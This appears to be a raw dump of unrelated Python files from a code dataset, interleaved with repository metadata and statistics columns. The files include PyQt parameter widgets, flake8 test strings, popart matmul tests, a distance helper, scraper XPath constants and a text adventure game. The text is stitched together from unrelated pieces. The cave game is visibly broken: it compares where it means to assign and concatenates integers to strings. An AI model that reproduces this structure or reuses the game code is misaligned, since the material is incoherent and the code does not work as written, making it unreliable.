content_layout.addSpacing(INDENT) content_layout.addWidget(self.__value_edit) layout.addLayout(content_layout) frame.setLayout(layout) return frame else: return self.__value_edit def __check_form(self, txt: str): try: for i in txt.split(','): if i not in self.value_range: return False except: return False return True def text_changed(self): if self.__check_form(self.__value_edit.text()): self.value = self.__value_edit.text() if self.value_changed is not None: self.value_changed() def get_value(self): return self.value.split(',') class EnumParam(ParamBase): def __init__(self, value_range, default, describe='', name=None): super().__init__() self.type = 'Enum' self.name = name if type(value_range) is not tuple: assert 'value_range is not tuple' self.value_range = value_range self.describe = describe self.value = default self.__combo_box = None def to_widget(self): # 水平方向 self.__combo_box = ComboBox() if self.value is None: self.value = self.value_range[0] for v in self.value_range: self.__combo_box.addItem(v) # value_idx = self.value_range.index(self.value) # self.__combo_box.setCurrentIndex(self.value_range.index(self.value)) self.__combo_box.setCurrentText(self.value) self.__combo_box.currentIndexChanged.connect(self.selection_change) if self.name is not None: layout = QVBoxLayout() label = LabelText(self.name) layout.addWidget(label) content_layout = QHBoxLayout() # content_layout.addSpacing(INDENT) content_layout.addWidget(self.__combo_box) layout.addLayout(content_layout) frame = ParamFrame() frame.setLayout(layout) return frame else: return self.__combo_box def selection_change(self, i): self.value = self.__combo_box.currentText() if self.value_changed is not None: self.value_changed() def get_value(self): if type(self.value) is str: if self.value == 'True': return True if self.value == 'False': return False return self.value class DictParam(ParamBase): def __init__(self, children, describe='', name=None): super().__init__() self.type = 'Dict' self.name = name self.children = children self.describe = describe self.__param_group = None def to_widget(self): self.__param_group = QVBoxLayout() self.__param_group.setDirection(QBoxLayout.TopToBottom) for child_name in self.children: child_layout = QVBoxLayout() label = LabelText(child_name) child_layout.addWidget(label) child_item = self.children[child_name] item_widget = child_item.to_widget() child_layout.addWidget(item_widget) self.__param_group.addLayout(child_layout) # self.__param_group.addStretch() frame = ParamFrame() if self.name is not None: layout = QVBoxLayout() label = LabelText(self.name) layout.addWidget(label) self.__param_group.addSpacing(4) content_layout = QHBoxLayout() # content_layout.addSpacing(INDENT) content_layout.addLayout(self.__param_group) layout.addLayout(content_layout) frame.setLayout(layout) else: frame.setLayout(self.__param_group) return frame def set_value_changed_fun(self, value_changed): for child_name in self.children: child_item = self.children[child_name] child_item.set_value_changed_fun(value_changed) def get_value(self): result = dict() for child_name in self.children: child_item = self.children[child_name] result[child_name] = child_item.get_value() return result class ChoiceParam(ParamBase): def __init__(self, value_range, default, describe='', name=None): super().__init__() self.type = 'Choice' self.name = name if type(value_range) is not dict: assert 'value_range is not dict' self.value_range = value_range self.describe = describe self.value = default self.__combo_box = None self.__items = list() self.__content_layout = None def to_widget(self): if self.value is None or self.value not in self.value_range: self.value = list(self.value_range.keys())[0] self.__combo_box = ComboBox() self.__items = list() for k in self.value_range: self.__combo_box.addItem(k) self.__items.append(self.value_range[k]) self.__combo_box.setCurrentText(self.value) self.__combo_box.currentIndexChanged.connect(self.selection_change) # self.__radio_group = QButtonGroup() # item_layout = QVBoxLayout() # item_layout.setDirection(QBoxLayout.TopToBottom) # for choice_id, choice_item in enumerate(self.value_range): # radio_layout = QHBoxLayout() # radio_layout.setDirection(QBoxLayout.LeftToRight) # item_widget = choice_item.to_widget() # rb = QRadioButton(item_widget) # if choice_id == self.value: # rb.click() # self.__radio_group.addButton(rb, choice_id) # radio_layout.addWidget(rb) # radio_layout.addWidget(item_widget) # radio_layout.addStretch() # item_layout.addLayout(radio_layout) # item_layout.addStretch() # for v in self.value_range: # self.__combo_box.addItem(v) # value_idx = self.value_range.index(self.value) # self.__combo_box.setCurrentIndex(self.value_range.index(self.value)) # self.__combo_box.setCurrentText(self.value) # self.__radio_group.buttonClicked.connect(self.selection_change) frame = ParamFrame() self.__content_layout = QVBoxLayout() self.__content_layout.setContentsMargins(0, 0, 0, 0) self.__content_layout.addWidget(self.__combo_box) item = self.value_range[self.value] if type(item) is not DefaultParam: self.__content_layout.addWidget(item.to_widget()) if self.name is not None: layout = QVBoxLayout() label = LabelText(self.name) layout.addWidget(label) layout.addLayout(self.__content_layout) frame.setLayout(layout) else: frame.setLayout(self.__content_layout) return frame # def selection_change(self): # self.value = self.__radio_group.checkedId() # if self.value_changed is not None: # self.value_changed() def selection_change(self): self.value = self.__combo_box.currentText() while self.__content_layout.count() > 1: item = self.__content_layout.takeAt(1) widget = item.widget() if widget is not None: widget.deleteLater() else: clear_layout(item.layout()) item = self.value_range[self.value] if type(item) is not DefaultParam: self.__content_layout.addWidget(item.to_widget()) if self.value_changed is not None: self.value_changed() def set_value_changed_fun(self, value_changed): self.value_changed = value_changed for k in self.value_range: self.value_range[k].set_value_changed_fun(value_changed) def get_value(self): return self.value_range[self.value].get_value() class MultiSelectParam(ParamBase): def __init__(self, value_range, default, describe='', name=None): super().__init__() self.type = 'MultiSelect' self.name = name if type(value_range) is not tuple: assert 'value_range is not tuple' self.value_range = value_range self.describe = describe self.value = default self.cb_list = list() # self.__check_group = None def to_widget(self): if self.value is None or len(self.value) == 0: self.value = [0] self.cb_list = list() item_layout = QVBoxLayout() item_layout.setDirection(QBoxLayout.TopToBottom) for select_id, select_value in enumerate(self.value_range): cb = QCheckBox(str(select_value)) if select_id in self.value: cb.setChecked(True) cb.stateChanged.connect(self.selection_change) self.cb_list.append(cb) # self.__check_group.addButton(cb, select_id) item_layout.addWidget(cb) # item_layout.addStretch() # for v in self.value_range: # self.__combo_box.addItem(v) # value_idx = self.value_range.index(self.value) # self.__combo_box.setCurrentIndex(self.value_range.index(self.value)) # self.__combo_box.setCurrentText(self.value) # self.__check_group.buttonClicked.connect(self.selection_change) frame = ParamFrame() if self.name is not None: layout = QVBoxLayout() label = LabelText(self.name) layout.addWidget(label) content_layout = QHBoxLayout() # content_layout.addSpacing(INDENT) content_layout.addLayout(item_layout) layout.addLayout(content_layout) frame.setLayout(layout) else: frame.setLayout(item_layout) return frame def is_empty(self): for tmp_cb in self.cb_list: if tmp_cb.isChecked(): return False return True def selection_change(self): if self.is_empty(): self.cb_list[self.value[0]].setChecked(True) else: self.value = [cb_id for cb_id, tmp_cb in enumerate(self.cb_list) if tmp_cb.isChecked()] if self.value_changed is not None: self.value_changed() def set_value_changed_fun(self, value_changed): self.value_changed = value_changed def get_value(self): if len(self.value) > 1: result = [self.value_range[v] for v in self.value] return result else: return self.value_range[self.value[0]] class DefaultParam(ParamBase): def __init__(self, describe='', default=None, name='default'): super().__init__() self.type = 'None' self.value = default self.name = name self.describe = describe def to_widget(self): return LabelText(self.name) def set_value_changed_fun(self, value_changed): pass def get_value(self): return self.value

35.318667

100

0.589037

3,067

26,489

4.785458

0.057711

0.144103

0.052463

0.020985

0.836343

0.813177

0.795599

0.766097

0.741909

0.724876

0

0.005688

0.316358

26,489

749

101

35.365821

0.804793

0.093322

0

0.773381

0

0.022733

0

0.02518

1

0.098921

false

0.001799

0.003597

0.01259

0.19964

0

null

0

1

0

1

0

null

0

7

69a8d58d0a743cd8fe85a28f8ed1360c83100b6f

1,664

py

Python

tests/texts/mutables.py

Intsights/flake8-intsights

b3785a3be855e05090641696e0648486107dba72

[ "MIT" ]

12

2020-02-18T17:47:57.000Z

2021-07-13T10:23:40.000Z

tests/texts/mutables.py

Intsights/flake8-intsights

b3785a3be855e05090641696e0648486107dba72

[ "MIT" ]

7

2020-02-25T12:14:11.000Z

2020-12-01T08:14:58.000Z

tests/texts/mutables.py

Intsights/flake8-intsights

b3785a3be855e05090641696e0648486107dba72

[ "MIT" ]

1

2020-07-01T15:49:28.000Z

mutables_test_text_001 = ''' def function( param, ): pass ''' mutables_test_text_002 = ''' def function( param=0, ): pass ''' mutables_test_text_003 = ''' def function( param={}, ): pass ''' mutables_test_text_004 = ''' def function( param=[], ): pass ''' mutables_test_text_005 = ''' def function( param=tuple(), ): pass ''' mutables_test_text_006 = ''' def function( param=list(), ): pass ''' mutables_test_text_007 = ''' def function( param_one, param_two, ): pass ''' mutables_test_text_008 = ''' def function( param_one, param_two=0, ): pass ''' mutables_test_text_009 = ''' def function( param_one, param_two={}, ): pass ''' mutables_test_text_010 = ''' def function( param_one, param_two=[], ): pass ''' mutables_test_text_011 = ''' def function( param_one, param_two=list(), ): pass ''' mutables_test_text_012 = ''' def function( param_one, param_two=tuple(), ): pass ''' mutables_test_text_013 = ''' def function( param_one, param_two, param_three, ): pass ''' mutables_test_text_014 = ''' def function( param_one, param_two, param_three=0, ): pass ''' mutables_test_text_015 = ''' def function( param_one, param_two=0, param_three={}, ): pass ''' mutables_test_text_016 = ''' def function( param_one, param_two=[], param_three={}, ): pass ''' mutables_test_text_017 = ''' def function( param_one={}, param_two=0, param_three={}, ): pass ''' mutables_test_text_018 = ''' def function( param_one=0, param_two=[], param_three=0, ): pass '''

13.102362

28

0.602764

203

1,664

4.527094

0.152709

0.235038

0.313384

0.369967

0.849837

0.681175

0.591948

0.443961

0.4037

0

0.048107

0.237981

1,664

126

29

13.206349

0.676656

0

0.761905

0

0.653846

0

1

0

false

0.142857

0

null

1

0

1

0

1

0

null

0

1

0

7

69dd78f17ed1ddc86c88f1f1a9aac67eedfb3638

99

py

Python

build/bdist.win-amd64/dumb/Program Files/WindowsApps/PythonSoftwareFoundation.Python.3.9_3.9.752.0_x64__qbz5n2kfra8p0/Lib/site-packages/trading_algorithm_framework/__init__.py

devonindustries/trading_algorithm_framework

b88dcac5aa4ad164e005d8426915dffcbfa75f5f

[ "MIT" ]

null

build/bdist.win-amd64/dumb/Program Files/WindowsApps/PythonSoftwareFoundation.Python.3.9_3.9.752.0_x64__qbz5n2kfra8p0/Lib/site-packages/trading_algorithm_framework/__init__.py

devonindustries/trading_algorithm_framework

b88dcac5aa4ad164e005d8426915dffcbfa75f5f

[ "MIT" ]

null

build/bdist.win-amd64/dumb/Program Files/WindowsApps/PythonSoftwareFoundation.Python.3.9_3.9.752.0_x64__qbz5n2kfra8p0/Lib/site-packages/trading_algorithm_framework/__init__.py

devonindustries/trading_algorithm_framework

b88dcac5aa4ad164e005d8426915dffcbfa75f5f

[ "MIT" ]

1

2021-03-05T12:34:18.000Z

from trading_algorithm_framework.portfolio import * from trading_algorithm_framework.stock import *

49.5

51

0.888889

12

99

7

0.583333

0.261905

0.47619

0.690476

0

0.070707

99

2

52

49.5

0.913043

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

3864e2aa61bdb12eff257d3cbadcdb4edbbe581e

114

py

Python

python_gui_tkinter/KALU/GARBAGE1/SAFE28JUL/test.py

SayanGhoshBDA/code-backup

8b6135facc0e598e9686b2e8eb2d69dd68198b80

[ "MIT" ]

16

2018-11-26T08:39:42.000Z

2019-05-08T10:09:52.000Z

python_gui_tkinter/KALU/GARBAGE1/SAFE28JUL/test.py

SayanGhoshBDA/code-backup

8b6135facc0e598e9686b2e8eb2d69dd68198b80

[ "MIT" ]

8

2020-05-04T06:29:26.000Z

2022-02-12T05:33:16.000Z

python_gui_tkinter/KALU/GARBAGE1/SAFE28JUL/test.py

SayanGhoshBDA/code-backup

8b6135facc0e598e9686b2e8eb2d69dd68198b80

[ "MIT" ]

5

2020-02-11T16:02:21.000Z

2021-02-05T07:48:30.000Z

from AppOperations import AppOperations as ao from AppOperations import Rec ao.reset_slno() #print(Rec.timestmp())

28.5

45

0.824561

16

114

5.8125

0.625

0.365591

0.494624

0

0.096491

114

4

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28.5

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null

0

1

0

1

0

1

0

7

3886696ca34fbd88b3a7f251b2fea26bd6602dab

2,803

py

Python

tests/integration/operators_test/matmul_test_grouped.py

gglin001/popart

3225214343f6d98550b6620e809a3544e8bcbfc6

[ "MIT" ]

61

2020-07-06T17:11:46.000Z

2022-03-12T14:42:51.000Z

tests/integration/operators_test/matmul_test_grouped.py

gglin001/popart

3225214343f6d98550b6620e809a3544e8bcbfc6

[ "MIT" ]

1

2021-02-25T01:30:29.000Z

2021-11-09T11:13:14.000Z

tests/integration/operators_test/matmul_test_grouped.py

gglin001/popart

3225214343f6d98550b6620e809a3544e8bcbfc6

[ "MIT" ]

6

2020-07-15T12:33:13.000Z

2021-11-07T06:55:00.000Z

# Copyright (c) 2019 Graphcore Ltd. All rights reserved. import numpy as np import popart import torch import pytest from op_tester import op_tester # `import test_util` requires adding to sys.path import sys from pathlib import Path sys.path.append(Path(__file__).resolve().parent.parent) import test_util as tu def test_matmul_grouped_1(op_tester): d1 = np.random.rand(2, 1, 4, 5, 1, 7, 8).astype(np.float32) d2 = np.random.rand(2, 3, 1, 5, 6, 8, 9).astype(np.float32) def init_builder(builder): i1 = builder.addInputTensor(d1) i2 = builder.addInputTensor(d2) o = builder.aiOnnx.matmul([i1, i2]) builder.addOutputTensor(o) return [o] def reference(ref_data): out = np.matmul(d1, d2) return [out] op_tester.run(init_builder, reference) def test_matmul_grouped_2(op_tester): d1 = np.random.rand(2, 1, 4, 5, 1, 7, 8).astype(np.float32) d2 = np.random.rand(2, 3, 4, 5, 6, 8, 9).astype(np.float32) def init_builder(builder): i1 = builder.addInputTensor(d1) i2 = builder.addInputTensor(d2) o = builder.aiOnnx.matmul([i1, i2]) builder.addOutputTensor(o) return [o] def reference(ref_data): out = np.matmul(d1, d2) return [out] op_tester.run(init_builder, reference) def test_matmul_grouped_3(op_tester): d1 = np.random.rand(4, 5, 1, 7, 8).astype(np.float32) d2 = np.random.rand(2, 3, 1, 5, 6, 8, 9).astype(np.float32) def init_builder(builder): i1 = builder.addInputTensor(d1) i2 = builder.addInputTensor(d2) o = builder.aiOnnx.matmul([i1, i2]) builder.addOutputTensor(o) return [o] def reference(ref_data): out = np.matmul(d1, d2) return [out] op_tester.run(init_builder, reference) def test_matmul_grouped_4(op_tester): d1 = np.random.rand(2, 1, 4, 5, 1, 7, 8).astype(np.float32) d2 = np.random.rand(4, 5, 6, 8, 9).astype(np.float32) def init_builder(builder): i1 = builder.addInputTensor(d1) i2 = builder.addInputTensor(d2) o = builder.aiOnnx.matmul([i1, i2]) builder.addOutputTensor(o) return [o] def reference(ref_data): out = np.matmul(d1, d2) return [out] op_tester.run(init_builder, reference) def test_matmul_grouped_5(op_tester): d1 = np.random.rand(3, 3, 3).astype(np.float32) d2 = np.random.rand(3, 3, 4).astype(np.float32) def init_builder(builder): i1 = builder.addInputTensor(d1) i2 = builder.addInputTensor(d2) o = builder.aiOnnx.matmul([i1, i2]) builder.addOutputTensor(o) return [o] def reference(ref_data): out = np.matmul(d1, d2) return [out] op_tester.run(init_builder, reference)

27.213592

63

0.635034

414

2,803

4.183575

0.152174

0.055427

0.069284

0.045035

0.843533

0.841224

0.81582

0.799076

0

0.063929

0.235462

2,803

102

64

27.480392

0.744284

0.036033

0

0.743243

0

1

0.202703

false

0

0.108108

0

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0

null

0

1

0

1

0

null

0

1

0

8

38a0f41f0c84af26607b531cf8f1b897864509b1

11,793

py

Python

random_programs/cave_escape.py

poplol240/programs

73660555b866702091141a7c2231f96f18894cf5

[ "MIT" ]

null

random_programs/cave_escape.py

poplol240/programs

73660555b866702091141a7c2231f96f18894cf5

[ "MIT" ]

null

random_programs/cave_escape.py

poplol240/programs

73660555b866702091141a7c2231f96f18894cf5

[ "MIT" ]

null

#93 #yay #100% me import random hp = 3 hot_dog = "" cake = "" burger = "" room = 1 monster = False num1 = 0 action = 0 last_action = 0 print("You fell in a cave.") print("It is deep and dark, you can't see anything.") print("You found a flashlite in your bag.") print("Your goal is to escape.") print("You see 2 doors.") def bag(): hot_dog ==True cake == False burger == True def monster_hit(): random.randint(1,6) if num1 == 1 or num1 == 2 or num1 == 3: hp =- 1 monster == False elif num1 == 4 or num1 == 5 or num1 == 6: monster == False if room == 2 or room == 4 or room == 5 or room == 8: monster = True action = input("chose what you do: 1 = enter door 1, 2 = enter door 2, 3 = check your bag") if action == 1: room == 2 elif action == 2: room == 7 elif action == 3: if hot_dog == True: print("You have a hot dog") elif cake == True: print("you have a cake") elif burger == True: print("You have a burger") while True: if room == 2 or room == 4 or room == 8: print("You entered a room.") print("A monster attacks you!") print("You see 2 doors.") elif room == 5: print("You entered a room.") print("A monster attacks you!") print("You see 1 door.") elif room == 7: print("You entered a room.") print("You see 2 doors.") elif room == 3 or room == 6 or room == 9: print("You entered a room.") print("You see 1 doors.") elif room == 10: print("You won!!!") print("You survived with " + hp + ".") print("☺☻☺☻") if room == 1: action = input("chose what you do: 1 = enter door 1, 2 = enter door 2, 3 = check your bag") if action == "1": room == 2 elif action == 2: room == 7 elif action == 3: if hot_dog == True: print("You have a hot dog") elif cake == True: print("you have a cake") elif burger == True: print("You have a burger") if room == 2 or room == 4 or room == 8: print("You entered a room.") print("A monster attacks you!") print("You see 2 doors.") elif room == 5: print("You entered a room.") print("A monster attacks you!") print("You see 1 door.") elif room == 7: print("You entered a room.") print("You see 2 doors.") elif room == 3 or room == 6 or room == 9: print("You entered a room.") print("You see 1 doors.") elif room == 10: print("You won!!!") print("You survived with " + hp + ".") print("☺☻☺☻") elif room == 2: action = input("chose what you do: 1 = enter door 1, 2 = enter door 2, 3 = check your bag, 4 = fight the monster") if action == 1: room == 3 elif action == 2: room == 4 elif action == 3: if hot_dog == True: print("You have a hot dog") elif cake == True: print("you have a cake") elif burger ==True: print("You have a burger") elif action == 4: monster_hit() if room == 2 or room == 4 or room == 8: print("You entered a room.") print("A monster attacks you!") print("You see 2 doors.") elif room == 5: print("You entered a room.") print("A monster attacks you!") print("You see 1 door.") elif room == 7: print("You entered a room.") print("You see 2 doors.") elif room == 3 or room == 6 or room == 9: print("You entered a room.") print("You see 1 doors.") elif room == 10: print("You won!!!") print("You survived with " + hp + ".") print("☺☻☺☻") elif room == 3: action = input("chose what you do: 1 = enter door 1, 2 = check your bag") if action == 1: room == 2 elif action == 2: if hot_dog == True: print("You have a hot dog") elif cake == True: print("you have a cake") elif burger == True: print("You have a burger") if room == 2 or room == 4 or room == 8: print("You entered a room.") print("A monster attacks you!") print("You see 2 doors.") elif room == 5: print("You entered a room.") print("A monster attacks you!") print("You see 1 door.") elif room == 7: print("You entered a room.") print("You see 2 doors.") elif room == 3 or room == 6 or room == 9: print("You entered a room.") print("You see 1 doors.") elif room == 10: print("You won!!!") print("You survived with " + hp + ".") print("☺☻☺☻") elif room == 4: action = input("chose what you do: 1 = enter door 1, 2 = enter door 2, 3 = check your bag, 4 = fight the monster") if action == 1: room == 5 elif action == 2: room == 6 elif action == 3: if hot_dog == True: print("You have a hot dog") elif cake == True: print("you have a cake") elif burger == True: print("You have a burger") elif action == 4: monster_hit() if room == 2 or room == 4 or room == 8: print("You entered a room.") print("A monster attacks you!") print("You see 2 doors.") elif room == 5: print("You entered a room.") print("A monster attacks you!") print("You see 1 door.") elif room == 7: print("You entered a room.") print("You see 2 doors.") elif room == 3 or room == 6 or room == 9: print("You entered a room.") print("You see 1 doors.") elif room == 10: print("You won!!!") print("You survived with " + hp + ".") print("☺☻☺☻") elif room == 5: action = input("chose what you do: 1 = enter door 1, 2 = check your bag, 3 = fight the monster.") if action == 1: room == 4 elif action == 2: if hot_dog == True: print("You have a hot dog") elif cake == True: print("you have a cake") elif burger == True: print("You have a burger") elif action == 3: monster_hit() if room == 2 or room == 4 or room == 8: print("You entered a room.") print("A monster attacks you!") print("You see 2 doors.") elif room == 5: print("You entered a room.") print("A monster attacks you!") print("You see 1 door.") elif room == 7: print("You entered a room.") print("You see 2 doors.") elif room == 3 or room == 6 or room == 9: print("You entered a room.") print("You see 1 doors.") elif room == 10: print("You won!!!") print("You survived with " + hp + ".") print("☺☻☺☻") elif room == 6: action = input("chose what you do: 1 = enter door 1, 2 = check your bag") if action == 1: room == 10 elif action == 3: if hot_dog == True: print("You have a hot dog") elif cake == True: print("you have a cake") elif burger == True: print("You have a burger") if room == 2 or room == 4 or room == 8: print("You entered a room.") print("A monster attacks you!") print("You see 2 doors.") elif room == 5: print("You entered a room.") print("A monster attacks you!") print("You see 1 door.") elif room == 7: print("You entered a room.") print("You see 2 doors.") elif room == 3 or room == 6 or room == 9: print("You entered a room.") print("You see 1 doors.") elif room == 10: print("You won!!!") print("You survived with " + hp + ".") print("☺☻☺☻") elif room == 7: action = input("chose what you do: 1 = enter door 1, 2 = enter door 2, 3 = check your bag") if action == 1: room == 8 elif action == 2: room == 9 elif action == 3: if hot_dog == True: print("You have a hot dog") elif cake == True: print("you have a cake") elif burger == True: print("You have a burger") if room == 2 or room == 4 or room == 8: print("You entered a room.") print("A monster attacks you!") print("You see 2 doors.") elif room == 5: print("You entered a room.") print("A monster attacks you!") print("You see 1 door.") elif room == 7: print("You entered a room.") print("You see 2 doors.") elif room == 3 or room == 6 or room == 9: print("You entered a room.") print("You see 1 doors.") elif room == 10: print("You won!!!") print("You survived with " + hp + ".") print("☺☻☺☻") elif room == 8: action = input("chose what you do: 1 = enter door 1, 2 = enter door 2, 3 = check your bag, 4 = fight the monster.") if action == 1: room == 4 elif action == 2: room == 6 elif action == 3: if hot_dog == True: print("You have a hot dog") elif cake == True: print("you have a cake") elif burger == True: print("You have a burger") elif action == 4: monster_hit() if room == 2 or room == 4 or room == 8: print("You entered a room.") print("A monster attacks you!") print("You see 2 doors.") elif room == 5: print("You entered a room.") print("A monster attacks you!") print("You see 1 door.") elif room == 7: print("You entered a room.") print("You see 2 doors.") elif room == 3 or room == 6 or room == 9: print("You entered a room.") print("You see 1 doors.") elif room == 10: print("You won!!!") print("You survived with " + hp + ".") print("☺☻☺☻") elif room == 9: action = input("chose what you do: 1 = enter door 1, 2 = check your bag") if action == 1: room == 7 elif action == 2: if hot_dog == True: print("You have a hot dog") elif cake == True: print("you have a cake") elif burger == True: print("You have a burger") if room == 2 or room == 4 or room == 8: print("You entered a room.") print("A monster attacks you!") print("You see 2 doors.") elif room == 5: print("You entered a room.") print("A monster attacks you!") print("You see 1 door.") elif room == 7: print("You entered a room.") print("You see 2 doors.") elif room == 3 or room == 6 or room == 9: print("You entered a room.") print("You see 1 doors.") elif room == 10: print("You won!!!") print("You survived with " + hp + ".") print("☺☻☺☻")

30.871728

124

0.466378

1,582

11,793

3.490518

0.047408

0.192684

0.081673

0.1159

0.925752

0.922673

0.919051

0

0.038756

0.402697

11,793

381

125

30.952756

0.739495

0.001018

0

0.878698

0

0.02071

0.311644

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1

0.005917

false

0

0.002959

0

0.008876

0.488166

0

null

0

1

0

1

0

null

0

1

0

8

38a2e63bd996eeeab5695f0dc1218ffdbded79f1

151

py

Python

distance.py

Thoritie/Variable-Delivery-Cost-Finder

18ff8c58ff01a1efd0c08fb4e45aa3c840b080b4

[ "MIT" ]

4

2018-07-11T06:48:00.000Z

2021-09-18T22:51:26.000Z

distance.py

Thoritie/Variable-Delivery-Cost-Finder

18ff8c58ff01a1efd0c08fb4e45aa3c840b080b4

[ "MIT" ]

3

2018-10-02T05:51:28.000Z

2018-10-19T01:19:03.000Z

distance.py

Thoritie/Variable-Delivery-Cost-Finder

18ff8c58ff01a1efd0c08fb4e45aa3c840b080b4

[ "MIT" ]

5

2018-07-10T11:36:46.000Z

2018-10-03T02:11:01.000Z

import math def getDistance(obj1, obj2): return math.sqrt((obj1['x']-obj2['x'])*(obj1['x']-obj2['x']) + (obj1['y']-obj2['y'])*(obj1['y']-obj2['y']))

30.2

108

0.569536

25

151

3.44

0.4

0.116279

0.209302

0.232558

0.27907

0

0.071429

0.072848

151

4

109

37.75

0.542857

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0.05298

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0.333333

false

0

0.333333

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

8

c7f73e9db8ecb940c84e9e331e1022cc9ab114d9

169

py

Python

mechanics.py

YummyPotatoPie/Physicsly

b35f8cc639172359f1dca9c86a5932423984ee88

[ "MIT" ]

2

2019-08-28T21:52:37.000Z

2019-08-28T22:30:53.000Z

mechanics.py

YummyPotatoPie/Physicsly

b35f8cc639172359f1dca9c86a5932423984ee88

[ "MIT" ]

null

mechanics.py

YummyPotatoPie/Physicsly

b35f8cc639172359f1dca9c86a5932423984ee88

[ "MIT" ]

null

from MechanicsModels.RotationalMotion import * from MechanicsModels.Weight import * from MechanicsModels.MechanicsEnergy import * from MechanicsModels.Motion import *

42.25

47

0.846154

16

169

8.9375

0.4375

0.531469

0.524476

0

0.106509

169

4

48

42.25

0.94702

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

2a2bbd2e5267fb8bd8a0a8fc5a518955cd4f6060

478

py

Python

src/constants.py

matheus3301/neps-academy-scraper

cc8608b252a139354ef288db1c6318aaebec8842

[ "MIT" ]

null

src/constants.py

matheus3301/neps-academy-scraper

cc8608b252a139354ef288db1c6318aaebec8842

[ "MIT" ]

null

src/constants.py

matheus3301/neps-academy-scraper

cc8608b252a139354ef288db1c6318aaebec8842

[ "MIT" ]

null

NEPS_URL = 'https://neps.academy' ENGLISH_BUTTON = '/html/body/div/div/div/div[2]/div/div/a/div[2]/div' LOGIN_PAGE_BUTTON = '//*[@id="app"]/div/div/div/div[1]/div/header/div/div/div[3]/div/div/nav/ul/li[6]/button' EMAIL_INPUT = '/html/body/div/div/div/div[3]/div/div/div/form/div[1]/div/div[1]/div/input' PASSWORD_INPUT = '/html/body/div/div/div/div[3]/div/div/div/form/div[2]/div/div[1]/div[1]/input' LOGIN_MODAL_BUTTON = '//*[@id="app"]/div[3]/div/div/div/form/div[3]/button'

68.285714

109

0.688285

98

478

3.27551

0.27551

0.448598

0.336449

0.149533

0.436137

0.323988

0.261682

0

0.030435

0.037657

478

6

110

79.666667

0.667391

0

0.833333

0.753138

0.711297

0

1

0

false

0.166667

0

null

1

0

1

0

1

null

0

1

0

7

2a81e9ddfb7ac78ff0f33d61525c7d598ea086a2

1,285

py

Python

Aula/aula019_II_dicionarios.py

HenriqueSOliver/Python_CursoEmVideo

6a8ab0c0fa3443990fc0bbbd817314065cf4e01b

[ "MIT" ]

1

2021-04-08T19:54:01.000Z

Python (3)/Aula/aula019_II_dicionarios.py

Gafanhoto742/Python-3

b0a13ec4cf60185af3ed2508fc69188e36415b80

[ "MIT" ]

null

Python (3)/Aula/aula019_II_dicionarios.py

Gafanhoto742/Python-3

b0a13ec4cf60185af3ed2508fc69188e36415b80

[ "MIT" ]

null

# como adicionar itens em dicionario + lista em um looping + formatação estado = {} # {} = dicionário brasil = [] # [] lista for c in range (0,3): estado['uf']= str(input('Unidade Federativa: ')) estado['Sigla']=str(input('Sigla do Estado: ')) brasil.append(estado.copy()) # quando temos esse misto de dicionário e lista temos que inserir o copy para o dicionário, não podemos fatiar igual lista for e in brasil: print(e) estado = {} # {} = dicionário brasil = [] # [] lista for c in range (0,2): estado['uf']= str(input('Unidade Federativa: ')) estado['Sigla']=str(input('Sigla do Estado: ')) brasil.append(estado.copy()) # quando temos esse misto de dicionário e lista temos que inserir o copy para o dicionário, não podemos fatiar igual lista for e in brasil: for k, v in e.items(): print(f'O campo {k} tem o valor {v}') estado = {} # {} = dicionário brasil = [] # [] lista for c in range (0,2): estado['uf']= str(input('Unidade Federativa: ')) estado['Sigla']=str(input('Sigla do Estado: ')) brasil.append(estado.copy()) # quando temos esse misto de dicionário e lista temos que inserir o copy para o dicionário, não podemos fatiar igual lista for e in brasil: for v in e.valeus(): print(v, end=' ') print ( )

40.15625

155

0.652918

192

1,285

4.369792

0.270833

0.057211

0.078665

0.096544

0.856973

0.810489

0

0.005888

0.207004

1,285

32

156

40.15625

0.817468

0.394553

0

0.740741

0

0.208333

0

1

0

false

0

0.148148

0

null

0

1

0

1

0

null

0

7

2ad3e41cb346f27624ded3ecff1e49303bc8c52e

349

py

Python

tests/internal/instance_type/test_instance_type_vt_auto.py

frolovv/aws.ec2.compare

582805823492f833d65c0441c4a14dce697c12aa

[ "Apache-2.0" ]

null

tests/internal/instance_type/test_instance_type_vt_auto.py

frolovv/aws.ec2.compare

582805823492f833d65c0441c4a14dce697c12aa

[ "Apache-2.0" ]

null

tests/internal/instance_type/test_instance_type_vt_auto.py

frolovv/aws.ec2.compare

582805823492f833d65c0441c4a14dce697c12aa

[ "Apache-2.0" ]

null

# Testing module instance_type.vt import pytest import ec2_compare.internal.instance_type.vt def test_get_internal_data_instance_type_vt_get_instances_list(): assert len(ec2_compare.internal.instance_type.vt.get_instances_list()) > 0 def test_get_internal_data_instance_type_vt_get(): assert len(ec2_compare.internal.instance_type.vt.get) > 0

34.9

76

0.848138

56

349

4.839286

0.339286

0.265683

0.309963

0.250923

0.826568

0.612546

0

0.01548

0.074499

349

9

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38.777778

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null

0

1

0

1

0

1

0

10

2aea3281e6f47b5f3ba0cc7ffa55f0e7eeaa12b3

125,925

py

Python

MathStuff_GUI.py

ShadowGamer35/Math-Stuff

de20a03ef6c09b26229e5f7fe4b9a6b1f7f21d61

[ "MIT" ]

null

MathStuff_GUI.py

ShadowGamer35/Math-Stuff

de20a03ef6c09b26229e5f7fe4b9a6b1f7f21d61

[ "MIT" ]

null

MathStuff_GUI.py

ShadowGamer35/Math-Stuff

de20a03ef6c09b26229e5f7fe4b9a6b1f7f21d61

[ "MIT" ]

null

